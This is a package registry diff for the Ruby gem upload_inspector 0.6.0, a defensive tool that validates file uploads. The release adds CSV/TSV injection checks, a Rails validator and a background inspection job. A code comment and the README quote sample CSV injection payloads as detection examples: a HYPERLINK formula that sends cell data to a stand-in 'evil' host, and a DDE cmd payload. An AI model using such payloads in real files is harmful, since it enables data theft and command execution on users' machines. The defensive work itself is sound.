upload_inspector 0.5.0 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CHANGELOG.md +12 -0
- data/README.md +110 -39
- data/lib/upload_inspector/inspect_job.rb +32 -0
- data/lib/upload_inspector/inspector.rb +2 -0
- data/lib/upload_inspector/messages.rb +40 -0
- data/lib/upload_inspector/policy.rb +3 -2
- data/lib/upload_inspector/result.rb +3 -0
- data/lib/upload_inspector/source.rb +3 -1
- data/lib/upload_inspector/text_inspector.rb +54 -0
- data/lib/upload_inspector/upload_inspector_validator.rb +46 -0
- data/lib/upload_inspector/version.rb +1 -1
- data/lib/upload_inspector.rb +7 -0
- metadata +15 -17
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 32bbc96ecd5924e72c570dfe9451a9ce4dbf980d7f2ac780bc403e59f5b39c7b
|
|
4
|
+
data.tar.gz: e3c4fe65e48b3f3dae336a1a437ef00472da628f2cb2f20ceb32df128fefab6c
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 5f2a04fab4bd60e0aee5bd35c817d0d52d62ce2b3403e9d27a9f9125abb0797334e0489da08870d5f9351dd937a0b086bead83b5bed638932aa7390007549f29
|
|
7
|
+
data.tar.gz: 60e984d468d91b985a362b74e874f4e3a023d7f747077f38167d30fe96ad9db3bae2e16afa38e02bcc22bfc95e648e3bd958c87e6a029b712fc91b0b9d22ae53
|
data/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,17 @@
|
|
|
1
1
|
# Changelog
|
|
2
2
|
|
|
3
|
+
## 0.6.0
|
|
4
|
+
|
|
5
|
+
- Text: `text/csv`, `text/tab-separated-values` and `text/plain` in `allowed_types` are verified:
|
|
6
|
+
valid UTF-8, no NUL/control characters, CSV/TSV cells that would run as a spreadsheet
|
|
7
|
+
function or DDE rejected (`:csv_formula`, opt out with `allow_csv_formulas: true`). New reasons
|
|
8
|
+
`:text_too_large`, `:text_unsupported_encoding`, `:text_binary_content`, `:csv_formula`.
|
|
9
|
+
- Rails: `validates :file, upload_inspector: {...}` checks request uploads before save;
|
|
10
|
+
`UploadInspector::InspectJob` checks stored attachments in the background, purges unsafe ones
|
|
11
|
+
and calls `on_unsafe`. Both autoload; Rails is still not a dependency.
|
|
12
|
+
- `Result#message`: end-user message per reason, translatable under `upload_inspector.errors.*`.
|
|
13
|
+
- Checking an IO now rewinds it afterwards, so it can still be stored (`attach(io:)`).
|
|
14
|
+
|
|
3
15
|
## 0.5.0
|
|
4
16
|
|
|
5
17
|
- HEIC, HEIF, AVIF, MP4 and QuickTime in `allowed_types` are now structurally verified (box
|
data/README.md
CHANGED
|
@@ -8,10 +8,11 @@ A file is accepted only when its structure is proven to match a known-safe shape
|
|
|
8
8
|
unparsable, encrypted, oversized, or erroring is rejected. Pure Ruby (`marcel`, `rubyzip`), no AV engine,
|
|
9
9
|
no native parsers, nothing is rendered or executed.
|
|
10
10
|
|
|
11
|
-
> **Not an antivirus.** It blocks structural attack vectors
|
|
12
|
-
> JavaScript, OLE objects, remote templates, DDE, zip bombs, image polyglots, scripted SVG
|
|
13
|
-
>
|
|
14
|
-
> Malware Protection for S3, endpoint
|
|
11
|
+
> **Not an antivirus.** It blocks structural attack vectors: disguised executables, macros, PDF
|
|
12
|
+
> JavaScript, OLE objects, remote templates, DDE, zip bombs, image polyglots, scripted SVG and
|
|
13
|
+
> CSV injection. It does not detect malware signatures or exploits hidden inside otherwise valid
|
|
14
|
+
> content. Pair it with an AV scanner (e.g. Amazon GuardDuty Malware Protection for S3, endpoint
|
|
15
|
+
> AV) when you need that.
|
|
15
16
|
|
|
16
17
|
## What it checks
|
|
17
18
|
|
|
@@ -23,6 +24,7 @@ no native parsers, nothing is rendered or executed.
|
|
|
23
24
|
| PNG / JPEG / GIF / WebP | container walked block by block (nothing is decoded): every length must stay inside the file, declared dimensions within `max_image_pixels`, and nothing may follow the end of the image (appended scripts or archives). JPEG files holding several images back to back (HDR gain maps, MPF) are accepted; other trailers (motion-photo video, vendor data) are rejected, re-encode those |
|
|
24
25
|
| HEIC / HEIF / AVIF / MP4 / QuickTime | box structure walked (nothing is decoded): every box length must stay inside its parent and the boxes must cover the file exactly (no appended data), `ftyp` must come first and name a brand of the detected type, images need a `meta` box and video a `moov` box, declared image (`ispe`) and track (`tkhd`) dimensions within `max_image_pixels`. Files whose brand Marcel does not know are reported as QuickTime and rejected unless the brand is `qt `; data hidden inside a box (e.g. a zip in a trailing `free` box) is not detected |
|
|
25
26
|
| SVG | static only: rejects script elements, `on*` handlers, `javascript:`/`data:` links (also set through animation), XHTML/MathML content, stylesheet processing instructions, DTDs other than the standard W3C DOCTYPE, CSS `@import`/escapes, and any reference outside the file (`href`, `src`, CSS `url()`) except `#fragment`, embedded `data:image/png|jpeg|gif|webp` and http(s)/mailto links on `<a>` |
|
|
27
|
+
| CSV / TSV / TXT | valid UTF-8 (BOM allowed; UTF-16 and legacy code pages rejected), no NUL or control characters other than tab/CR/LF, at most `max_inflate_size`. CSV/TSV also reject cells a spreadsheet would run as a function call or DDE (`=HYPERLINK(...)`, `+cmd\|...`, `@SUM(...)`), found after any comma, semicolon or tab and inside quotes; negative numbers, phone numbers, `@handles` and plain arithmetic are accepted. `allow_csv_formulas: true` turns this off |
|
|
26
28
|
| zip | path traversal, symlinks, encrypted entries, duplicates, entry/total size and compression-ratio limits, nested archives; every member extracted (bounded) and inspected with the same policy |
|
|
27
29
|
| Others | rejected unless listed in `allow_unverifiable` (type + extension check only) |
|
|
28
30
|
|
|
@@ -36,8 +38,8 @@ Text-only PDFs are unaffected. For image-heavy PDFs (scans, `.ai` artwork) keep
|
|
|
36
38
|
MB, or expect to ask users to re-export. Skipping stream data is not an option without
|
|
37
39
|
following the cross-reference table the way a reader does, because objects can hide in it.
|
|
38
40
|
|
|
39
|
-
Images, SVG and
|
|
40
|
-
(`image/png image/jpeg image/gif image/webp image/svg+xml image/heic image/heif image/avif video/mp4 video/quicktime`). Listing them in `allow_unverifiable`
|
|
41
|
+
Images, SVG, media and text are verified when their MIME type is in `allowed_types`
|
|
42
|
+
(`image/png image/jpeg image/gif image/webp image/svg+xml image/heic image/heif image/avif video/mp4 video/quicktime text/csv text/tab-separated-values text/plain`). Listing them in `allow_unverifiable`
|
|
41
43
|
instead skips these checks.
|
|
42
44
|
|
|
43
45
|
## Install
|
|
@@ -50,37 +52,105 @@ Requires Ruby >= 3.2.
|
|
|
50
52
|
|
|
51
53
|
## Usage
|
|
52
54
|
|
|
55
|
+
- [Quick start](#quick-start)
|
|
56
|
+
- [What you can pass in](#what-you-can-pass-in)
|
|
57
|
+
- [Rails validator and job](#rails-validator-and-job)
|
|
58
|
+
- [Error messages](#error-messages)
|
|
59
|
+
- [S3 (presigned URL uploads)](#s3-presigned-url-uploads)
|
|
60
|
+
- [Protecting the server from large files](#protecting-the-server-from-large-files)
|
|
61
|
+
- [Policy options](#policy-options)
|
|
62
|
+
|
|
63
|
+
### Quick start
|
|
64
|
+
|
|
53
65
|
```ruby
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
allowed_types: %w[application/pdf application/zip],
|
|
58
|
-
)
|
|
66
|
+
ALLOWED_TYPES = %w[application/pdf image/png image/jpeg text/csv].freeze
|
|
67
|
+
|
|
68
|
+
result = UploadInspector.check(params[:file], allowed_types: ALLOWED_TYPES)
|
|
59
69
|
|
|
60
|
-
result.safe?
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
result.
|
|
70
|
+
if result.safe?
|
|
71
|
+
# store the file
|
|
72
|
+
else
|
|
73
|
+
render json: { error: result.message }, status: :unprocessable_entity
|
|
74
|
+
end
|
|
64
75
|
```
|
|
65
76
|
|
|
66
|
-
|
|
77
|
+
Every call returns a `Result` and never raises on a hostile file:
|
|
78
|
+
|
|
79
|
+
| Method | Value |
|
|
80
|
+
|---|---|
|
|
81
|
+
| `safe?` | `true` when the file is accepted |
|
|
82
|
+
| `reason` | why it was rejected, e.g. `:pdf_active_content`, `:extension_mismatch` (`nil` when safe) |
|
|
83
|
+
| `message` | end-user message for the reason, e.g. `"is password-protected"` (`nil` when safe) |
|
|
84
|
+
| `detail` | technical hint for logs, not for end users |
|
|
85
|
+
| `detected_type` | the real MIME type, e.g. `"application/pdf"` |
|
|
86
|
+
|
|
87
|
+
Only types in `allowed_types` are accepted (default: PDF only). See [What it checks](#what-it-checks)
|
|
88
|
+
for the types that get a structural check.
|
|
67
89
|
|
|
68
|
-
|
|
69
|
-
|
|
90
|
+
### What you can pass in
|
|
91
|
+
|
|
92
|
+
`check` takes the upload object itself. Rails/Rack uploads and Active Storage carry the
|
|
93
|
+
client-supplied name; anything else needs `filename:` (its extension must match the content).
|
|
70
94
|
|
|
71
95
|
```ruby
|
|
72
|
-
# Controller
|
|
73
|
-
|
|
96
|
+
# Controller upload (ActionDispatch::Http::UploadedFile)
|
|
97
|
+
UploadInspector.check(params[:file], allowed_types: ALLOWED_TYPES)
|
|
74
98
|
|
|
75
|
-
# Active Storage attachment or blob (downloaded to a temp file
|
|
76
|
-
|
|
77
|
-
record.document.purge_later unless result.safe?
|
|
99
|
+
# Active Storage attachment or blob (downloaded to a temp file first)
|
|
100
|
+
UploadInspector.check(contract.document, allowed_types: ALLOWED_TYPES)
|
|
78
101
|
|
|
79
|
-
# File
|
|
80
|
-
|
|
102
|
+
# Path, File, Tempfile, StringIO or any IO
|
|
103
|
+
UploadInspector.check("/tmp/upload.bin", filename: "report.pdf", allowed_types: ALLOWED_TYPES)
|
|
104
|
+
UploadInspector.check(io, filename: "report.pdf", allowed_types: ALLOWED_TYPES)
|
|
81
105
|
```
|
|
82
106
|
|
|
83
|
-
|
|
107
|
+
Inspection takes up to `timeout` (60 s by default): check large files in a background job.
|
|
108
|
+
|
|
109
|
+
### Rails validator and job
|
|
110
|
+
|
|
111
|
+
Both load on first use; the gem does not depend on Rails.
|
|
112
|
+
|
|
113
|
+
```ruby
|
|
114
|
+
class Contract < ApplicationRecord
|
|
115
|
+
has_one_attached :document
|
|
116
|
+
|
|
117
|
+
# Checks files uploaded with this request, before save. Keep it to small files.
|
|
118
|
+
validates :document, upload_inspector: { allowed_types: ALLOWED_TYPES }
|
|
119
|
+
end
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
The error type is the rejection reason (`errors.details` shows `{ error: :pdf_active_content }`),
|
|
123
|
+
the message comes from `result.message`. The validator covers `UploadedFile`s and
|
|
124
|
+
`attach(io:, filename:)`. Blobs already in storage (direct uploads, signed blob ids) are skipped,
|
|
125
|
+
and form strings are never read as server paths. Check those with the job:
|
|
126
|
+
|
|
127
|
+
```ruby
|
|
128
|
+
# After save, the file is in storage. Unsafe attachments are purged.
|
|
129
|
+
UploadInspector::InspectJob.perform_later(contract, "document", allowed_types: ALLOWED_TYPES)
|
|
130
|
+
|
|
131
|
+
# React to a rejection: subclass and override on_unsafe (called after the purge).
|
|
132
|
+
class InspectUploadJob < UploadInspector::InspectJob
|
|
133
|
+
def on_unsafe(record, name, attachment, result)
|
|
134
|
+
UploadMailer.rejected(record, attachment.filename.to_s, result.message).deliver_later
|
|
135
|
+
end
|
|
136
|
+
end
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
Pass `purge: false` to keep unsafe files. Options are the same keywords as `check`.
|
|
140
|
+
|
|
141
|
+
### Error messages
|
|
142
|
+
|
|
143
|
+
`result.message` gives an end-user message for the reason ("is password-protected", "does not
|
|
144
|
+
match its file extension", ...). Translate or override any of them under
|
|
145
|
+
`upload_inspector.errors.<reason>`, with `upload_inspector.errors.default` as the fallback:
|
|
146
|
+
|
|
147
|
+
```yaml
|
|
148
|
+
vi:
|
|
149
|
+
upload_inspector:
|
|
150
|
+
errors:
|
|
151
|
+
default: "chứa nội dung không được phép"
|
|
152
|
+
too_large: "quá lớn"
|
|
153
|
+
```
|
|
84
154
|
|
|
85
155
|
### S3 (presigned URL uploads)
|
|
86
156
|
|
|
@@ -90,12 +160,17 @@ rejected without downloading), downloads the object pinned to that ETag, and ins
|
|
|
90
160
|
`client` is any `Aws::S3::Client` (aws-sdk-s3 is not a dependency of this gem).
|
|
91
161
|
|
|
92
162
|
```ruby
|
|
163
|
+
s3 = Aws::S3::Client.new
|
|
164
|
+
|
|
93
165
|
result = UploadInspector.check_s3(
|
|
94
|
-
client:
|
|
95
|
-
|
|
96
|
-
|
|
166
|
+
client: s3,
|
|
167
|
+
bucket: "uploads",
|
|
168
|
+
key: "incoming/abc/report.pdf",
|
|
169
|
+
filename: "report.pdf", # optional, defaults to the key basename
|
|
170
|
+
version_id: nil, # optional, pin a version on versioned buckets
|
|
97
171
|
allowed_types: ALLOWED_TYPES,
|
|
98
172
|
)
|
|
173
|
+
|
|
99
174
|
s3.delete_object(bucket: "uploads", key: "incoming/abc/report.pdf") unless result.safe?
|
|
100
175
|
```
|
|
101
176
|
|
|
@@ -140,8 +215,9 @@ to bound is disk and time:
|
|
|
140
215
|
| `max_file_size` | 500 MB |
|
|
141
216
|
| `max_zip_entries` / `max_zip_entry_size` / `max_zip_total_size` | 5 000 / 200 MB / 1 GB |
|
|
142
217
|
| `max_compression_ratio` | 100 (entries ≥ 1 MB) |
|
|
143
|
-
| `max_inflate_size` | 50 MB per PDF object stream / OOXML XML part / SVG file |
|
|
218
|
+
| `max_inflate_size` | 50 MB per PDF object stream / OOXML XML part / SVG or text file |
|
|
144
219
|
| `max_image_pixels` | 100 000 000 (declared width × height) |
|
|
220
|
+
| `allow_csv_formulas` | `false` |
|
|
145
221
|
| `timeout` / `cpu_limit` | 60 s / 60 s |
|
|
146
222
|
| `memory_limit` | 1 GB (`RLIMIT_DATA`, Linux only) |
|
|
147
223
|
|
|
@@ -159,22 +235,17 @@ Tests build hostile-shaped samples in memory (no real malware, no AV test signat
|
|
|
159
235
|
Run them in a container or CI rather than on a workstation with endpoint AV:
|
|
160
236
|
|
|
161
237
|
```sh
|
|
162
|
-
docker run --rm -v "$PWD":/src:ro ruby:3.3
|
|
163
|
-
bash -c 'cp -r /src /app && cd /app && bundle install && bundle exec rake test'
|
|
238
|
+
docker run --rm -v "$PWD":/src:ro ruby:3.3 \
|
|
239
|
+
bash -c 'cp -r /src /app && cd /app && rm -rf vendor .bundle && bundle install && bundle exec rake test'
|
|
164
240
|
```
|
|
165
241
|
|
|
166
|
-
CI runs the suite on Ruby 3.2 / 3.3 / 3.4 against rubyzip 2.3 and 3.x.
|
|
242
|
+
CI runs the suite on Ruby 3.2 / 3.3 / 3.4 against rubyzip 2.3 and 3.x. The Rails helper tests
|
|
243
|
+
use `activemodel` / `activejob` from the Gemfile (development only).
|
|
167
244
|
|
|
168
245
|
`test/sample_virus_malware.rb` is the hostile-sample corpus: every attack shape with its expected
|
|
169
246
|
verdict, plus known gaps (skipped until fixed). `bundle exec rake samples[DIR]` writes the inert
|
|
170
247
|
samples to disk (default `tmp/samples`) to cross-check against real readers or other scanners.
|
|
171
248
|
|
|
172
|
-
### Releasing
|
|
173
|
-
|
|
174
|
-
1. Bump `lib/upload_inspector/version.rb`, update `CHANGELOG.md`, merge to `main`.
|
|
175
|
-
2. Actions → **Release** → *Run workflow*. It runs CI, tags `vX.Y.Z` and publishes via
|
|
176
|
-
rubygems.org Trusted Publishing.
|
|
177
|
-
|
|
178
249
|
## License
|
|
179
250
|
|
|
180
251
|
MIT
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'active_job'
|
|
4
|
+
|
|
5
|
+
module UploadInspector
|
|
6
|
+
# Inspects the Active Storage attachments of a record in the background and purges the
|
|
7
|
+
# unsafe ones. Fits direct uploads and large files, which should not be checked in a request.
|
|
8
|
+
#
|
|
9
|
+
# # after record.save (the file is in storage once save returns)
|
|
10
|
+
# UploadInspector::InspectJob.perform_later(record, 'document', allowed_types: %w[application/pdf])
|
|
11
|
+
#
|
|
12
|
+
# Options are UploadInspector.check keywords; purge: false keeps unsafe files (e.g. for
|
|
13
|
+
# review). To react to a rejection (notify the uploader, flag the record), subclass and
|
|
14
|
+
# override #on_unsafe, then enqueue the subclass.
|
|
15
|
+
class InspectJob < ActiveJob::Base
|
|
16
|
+
def perform(record, name, purge: true, **options)
|
|
17
|
+
attached = record.public_send(name)
|
|
18
|
+
attachments = attached.respond_to?(:attachments) ? attached.attachments.to_a : [attached.attachment].compact
|
|
19
|
+
attachments.each do |attachment|
|
|
20
|
+
result = UploadInspector.check(attachment, **options)
|
|
21
|
+
next if result.safe?
|
|
22
|
+
|
|
23
|
+
attachment.purge if purge
|
|
24
|
+
on_unsafe(record, name, attachment, result)
|
|
25
|
+
end
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
# Called for each unsafe attachment, after it was purged (its filename and other
|
|
29
|
+
# attributes are still readable). result.reason / result.message say why.
|
|
30
|
+
def on_unsafe(record, name, attachment, result); end
|
|
31
|
+
end
|
|
32
|
+
end
|
|
@@ -68,6 +68,8 @@ module UploadInspector
|
|
|
68
68
|
ImageInspector.new(policy).verify!(path, detected)
|
|
69
69
|
elsif verifiable && IsoBmffInspector::TYPES.include?(detected)
|
|
70
70
|
IsoBmffInspector.new(policy).verify!(path, detected)
|
|
71
|
+
elsif verifiable && TextInspector::TYPES.include?(detected)
|
|
72
|
+
TextInspector.new(policy).verify!(path, detected)
|
|
71
73
|
elsif verifiable && detected == SvgInspector::TYPE
|
|
72
74
|
SvgInspector.new(policy).verify!(path)
|
|
73
75
|
elsif !policy.allow_unverifiable.include?(detected)
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module UploadInspector
|
|
4
|
+
# End-user messages for rejection reasons, worded to follow an attribute name
|
|
5
|
+
# ("Document is password-protected"). Override or translate them under
|
|
6
|
+
# upload_inspector.errors.<reason> (fallback upload_inspector.errors.default) in any I18n
|
|
7
|
+
# locale file; these English strings apply when no translation exists or I18n is not loaded.
|
|
8
|
+
module Messages
|
|
9
|
+
DAMAGED = 'is damaged or not a valid file'
|
|
10
|
+
NOT_CHECKED = 'could not be checked, please try again'
|
|
11
|
+
DEFAULTS = {
|
|
12
|
+
default: 'contains content that is not allowed',
|
|
13
|
+
type_not_allowed: 'is not an allowed file type',
|
|
14
|
+
unverifiable_type: 'is not an allowed file type',
|
|
15
|
+
extension_mismatch: 'does not match its file extension',
|
|
16
|
+
too_large: 'is too large',
|
|
17
|
+
text_too_large: 'is too large',
|
|
18
|
+
svg_too_large: 'is too large',
|
|
19
|
+
empty_file: 'is empty',
|
|
20
|
+
pdf_encrypted: 'is password-protected',
|
|
21
|
+
zip_encrypted_entry: 'is password-protected',
|
|
22
|
+
image_too_many_pixels: 'has image dimensions that are too large',
|
|
23
|
+
text_unsupported_encoding: 'must be saved as UTF-8 text',
|
|
24
|
+
text_binary_content: 'is not a text file',
|
|
25
|
+
csv_formula: 'contains spreadsheet formulas',
|
|
26
|
+
image_malformed: DAMAGED, media_malformed: DAMAGED, pdf_unparsable: DAMAGED,
|
|
27
|
+
zip_unparsable: DAMAGED, zip_empty: DAMAGED, svg_unparsable: DAMAGED, ooxml_malformed_xml: DAMAGED,
|
|
28
|
+
timeout: NOT_CHECKED, resource_limit: NOT_CHECKED, inspection_failed: NOT_CHECKED, sandbox_failed: NOT_CHECKED,
|
|
29
|
+
}.freeze
|
|
30
|
+
|
|
31
|
+
module_function
|
|
32
|
+
|
|
33
|
+
def for(reason)
|
|
34
|
+
english = DEFAULTS.fetch(reason.to_sym, DEFAULTS[:default])
|
|
35
|
+
return english unless defined?(I18n)
|
|
36
|
+
|
|
37
|
+
I18n.t("upload_inspector.errors.#{reason}", default: [:'upload_inspector.errors.default', english])
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
end
|
|
@@ -12,7 +12,7 @@ module UploadInspector
|
|
|
12
12
|
Policy = Data.define(
|
|
13
13
|
:allowed_types, :allow_unverifiable, :max_file_size,
|
|
14
14
|
:max_zip_entries, :max_zip_entry_size, :max_zip_total_size, :max_compression_ratio,
|
|
15
|
-
:max_inflate_size, :max_image_pixels, :timeout, :memory_limit, :cpu_limit
|
|
15
|
+
:max_inflate_size, :max_image_pixels, :allow_csv_formulas, :timeout, :memory_limit, :cpu_limit
|
|
16
16
|
)
|
|
17
17
|
|
|
18
18
|
class Policy
|
|
@@ -24,8 +24,9 @@ module UploadInspector
|
|
|
24
24
|
max_zip_entry_size: 200 * MEGABYTE,
|
|
25
25
|
max_zip_total_size: 1024 * MEGABYTE,
|
|
26
26
|
max_compression_ratio: 100,
|
|
27
|
-
max_inflate_size: 50 * MEGABYTE, # per PDF object stream /
|
|
27
|
+
max_inflate_size: 50 * MEGABYTE, # per PDF object stream / OOXML XML part / SVG or text file
|
|
28
28
|
max_image_pixels: 100_000_000, # declared width x height of an image or animation frame
|
|
29
|
+
allow_csv_formulas: false, # true accepts CSV/TSV cells a spreadsheet would run as formulas
|
|
29
30
|
timeout: 60, # seconds, wall clock (sandbox only)
|
|
30
31
|
memory_limit: 1024 * MEGABYTE, # RLIMIT_DATA for the sandbox child; nil disables
|
|
31
32
|
cpu_limit: 60, # seconds, RLIMIT_CPU for the sandbox child; nil disables
|
|
@@ -12,6 +12,9 @@ module UploadInspector
|
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
def safe? = safe
|
|
15
|
+
|
|
16
|
+
# End-user message for the rejection (see Messages), nil when safe.
|
|
17
|
+
def message = reason && Messages.for(reason)
|
|
15
18
|
end
|
|
16
19
|
|
|
17
20
|
# Raised internally by inspectors; converted to a rejected Result at the boundary.
|
|
@@ -41,11 +41,13 @@ module UploadInspector
|
|
|
41
41
|
end
|
|
42
42
|
|
|
43
43
|
# Copies one byte past the limit so an oversized stream is still rejected as :too_large
|
|
44
|
-
# without buffering all of it.
|
|
44
|
+
# without buffering all of it. The IO is rewound afterwards: the caller usually stores it
|
|
45
|
+
# next (e.g. Active Storage attach(io:)), which would otherwise save an empty file.
|
|
45
46
|
def copy_to_tempfile(io, max_size)
|
|
46
47
|
Tempfile.create('upload_inspector', binmode: true) do |tmp|
|
|
47
48
|
io.rewind if io.respond_to?(:rewind)
|
|
48
49
|
IO.copy_stream(io, tmp, max_size + 1)
|
|
50
|
+
io.rewind if io.respond_to?(:rewind)
|
|
49
51
|
tmp.flush
|
|
50
52
|
yield tmp.path
|
|
51
53
|
end
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module UploadInspector
|
|
4
|
+
# Plain text, CSV and TSV. Text has no magic bytes, so the type comes from the name alone;
|
|
5
|
+
# this check proves the content really is text:
|
|
6
|
+
#
|
|
7
|
+
# - valid UTF-8 (a UTF-8 BOM is allowed; UTF-16 and legacy code pages are rejected)
|
|
8
|
+
# - no NUL or control characters other than tab, CR and LF, so a binary cannot pass as .csv
|
|
9
|
+
# - CSV/TSV only, unless allow_csv_formulas: no cell that a spreadsheet would run as a
|
|
10
|
+
# formula calling a function or another program (CSV injection), e.g.
|
|
11
|
+
# =HYPERLINK("http://evil/?"&A1), +cmd|' /C calc'!A0, @SUM(1)
|
|
12
|
+
class TextInspector
|
|
13
|
+
include Rejectable
|
|
14
|
+
|
|
15
|
+
TYPES = %w[text/plain text/csv text/tab-separated-values].freeze
|
|
16
|
+
SPREADSHEET_TYPES = %w[text/csv text/tab-separated-values].freeze
|
|
17
|
+
UTF8_BOM = "\xEF\xBB\xBF".b
|
|
18
|
+
UTF16_BOM = /\A(?:\xFF\xFE|\xFE\xFF)/n
|
|
19
|
+
CONTROL = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/
|
|
20
|
+
# A cell may start after any delimiter Excel splits on (comma, semicolon in European
|
|
21
|
+
# locales, tab) or a line break, optionally quoted and padded. Every delimiter counts as a
|
|
22
|
+
# possible cell start, also inside quoted text: over-approximating can only reject more. A
|
|
23
|
+
# quoted value runs to its closing quote (across lines), an unquoted one to the next delimiter.
|
|
24
|
+
FORMULA_CELL = /(?:\A|[,;\t\r\n])[ \t]*(?:"\s*([=+\-@](?:[^"]|"")*)|([=+\-@][^,;\t\r\n]*))/
|
|
25
|
+
# Running anything needs a function call (a name right before "(") or DDE
|
|
26
|
+
# (program|topic!item); arithmetic, negative numbers, phone numbers like +1 (555) 010 and
|
|
27
|
+
# @handles stay accepted.
|
|
28
|
+
FORMULA_ACTION = /\p{L}[\p{L}\d_.]*\(|\|/
|
|
29
|
+
|
|
30
|
+
def initialize(policy)
|
|
31
|
+
@policy = policy
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
def verify!(path, type)
|
|
35
|
+
reject!(:text_too_large, "exceeds #{@policy.max_inflate_size} bytes") if File.size(path) > @policy.max_inflate_size
|
|
36
|
+
|
|
37
|
+
text = File.binread(path)
|
|
38
|
+
reject!(:text_unsupported_encoding, 'UTF-16') if text.match?(UTF16_BOM)
|
|
39
|
+
text = text.delete_prefix(UTF8_BOM).force_encoding(Encoding::UTF_8)
|
|
40
|
+
reject!(:text_unsupported_encoding, 'not valid UTF-8') unless text.valid_encoding?
|
|
41
|
+
reject!(:text_binary_content, 'control characters') if text.match?(CONTROL)
|
|
42
|
+
check_formulas!(text) if SPREADSHEET_TYPES.include?(type) && !@policy.allow_csv_formulas
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
private
|
|
46
|
+
|
|
47
|
+
def check_formulas!(text)
|
|
48
|
+
text.scan(FORMULA_CELL) do |quoted, bare|
|
|
49
|
+
cell = quoted || bare
|
|
50
|
+
reject!(:csv_formula, cell[0, 40]) if cell.match?(FORMULA_ACTION)
|
|
51
|
+
end
|
|
52
|
+
end
|
|
53
|
+
end
|
|
54
|
+
end
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'active_model'
|
|
4
|
+
|
|
5
|
+
# Rejects unsafe files uploaded through the request, before the record is saved:
|
|
6
|
+
#
|
|
7
|
+
# validates :document, upload_inspector: { allowed_types: %w[application/pdf] }
|
|
8
|
+
#
|
|
9
|
+
# Works for Active Storage attachments (has_one_attached / has_many_attached) and plain
|
|
10
|
+
# attributes holding an uploaded file or IO. Options are UploadInspector.check keywords
|
|
11
|
+
# (Policy options, sandbox:). The error type is the rejection reason (errors.details shows
|
|
12
|
+
# e.g. { error: :pdf_active_content }) with the message from UploadInspector::Messages.
|
|
13
|
+
#
|
|
14
|
+
# The check runs inside the request: keep it to small files. Blobs uploaded directly to
|
|
15
|
+
# storage (signed ids, direct uploads) are not here yet; check those with InspectJob.
|
|
16
|
+
class UploadInspectorValidator < ActiveModel::EachValidator
|
|
17
|
+
CHECK_OPTIONS = [*UploadInspector::Policy::DEFAULTS.keys, :sandbox].freeze
|
|
18
|
+
|
|
19
|
+
def validate_each(record, attribute, value)
|
|
20
|
+
uploads(record, attribute, value).each do |source, filename|
|
|
21
|
+
result = UploadInspector.check(source, filename:, **options.slice(*CHECK_OPTIONS))
|
|
22
|
+
record.errors.add(attribute, result.reason, message: result.message) unless result.safe?
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
private
|
|
27
|
+
|
|
28
|
+
# [source, filename] pairs for files that arrived with this request.
|
|
29
|
+
def uploads(record, attribute, value)
|
|
30
|
+
change = record.attachment_changes&.[](attribute.to_s) if record.respond_to?(:attachment_changes)
|
|
31
|
+
pending = if change
|
|
32
|
+
change.respond_to?(:attachables) ? change.attachables : [change.attachable]
|
|
33
|
+
else
|
|
34
|
+
value.is_a?(Array) ? value : [value]
|
|
35
|
+
end
|
|
36
|
+
pending.filter_map do |attachable|
|
|
37
|
+
if attachable.is_a?(Hash) # attach(io:, filename:)
|
|
38
|
+
[attachable.fetch(:io), attachable.fetch(:filename).to_s]
|
|
39
|
+
elsif attachable.respond_to?(:original_filename) || attachable.respond_to?(:read)
|
|
40
|
+
[attachable, nil]
|
|
41
|
+
end
|
|
42
|
+
# Anything else (a blob, a signed blob id, a String) is not a request upload. Strings
|
|
43
|
+
# are never treated as paths: a form value must not make the server read its own files.
|
|
44
|
+
end
|
|
45
|
+
end
|
|
46
|
+
end
|
data/lib/upload_inspector.rb
CHANGED
|
@@ -7,6 +7,7 @@ require 'zlib'
|
|
|
7
7
|
|
|
8
8
|
require_relative 'upload_inspector/version'
|
|
9
9
|
require_relative 'upload_inspector/result'
|
|
10
|
+
require_relative 'upload_inspector/messages'
|
|
10
11
|
require_relative 'upload_inspector/policy'
|
|
11
12
|
require_relative 'upload_inspector/xml_scanner'
|
|
12
13
|
require_relative 'upload_inspector/pdf_object_parser'
|
|
@@ -14,6 +15,7 @@ require_relative 'upload_inspector/pdf_inspector'
|
|
|
14
15
|
require_relative 'upload_inspector/svg_inspector'
|
|
15
16
|
require_relative 'upload_inspector/image_inspector'
|
|
16
17
|
require_relative 'upload_inspector/iso_bmff_inspector'
|
|
18
|
+
require_relative 'upload_inspector/text_inspector'
|
|
17
19
|
require_relative 'upload_inspector/ooxml_inspector'
|
|
18
20
|
require_relative 'upload_inspector/zip_inspector'
|
|
19
21
|
require_relative 'upload_inspector/inspector'
|
|
@@ -25,6 +27,9 @@ require_relative 'upload_inspector/s3'
|
|
|
25
27
|
# Only content proven to match a known-safe structure is accepted; anything
|
|
26
28
|
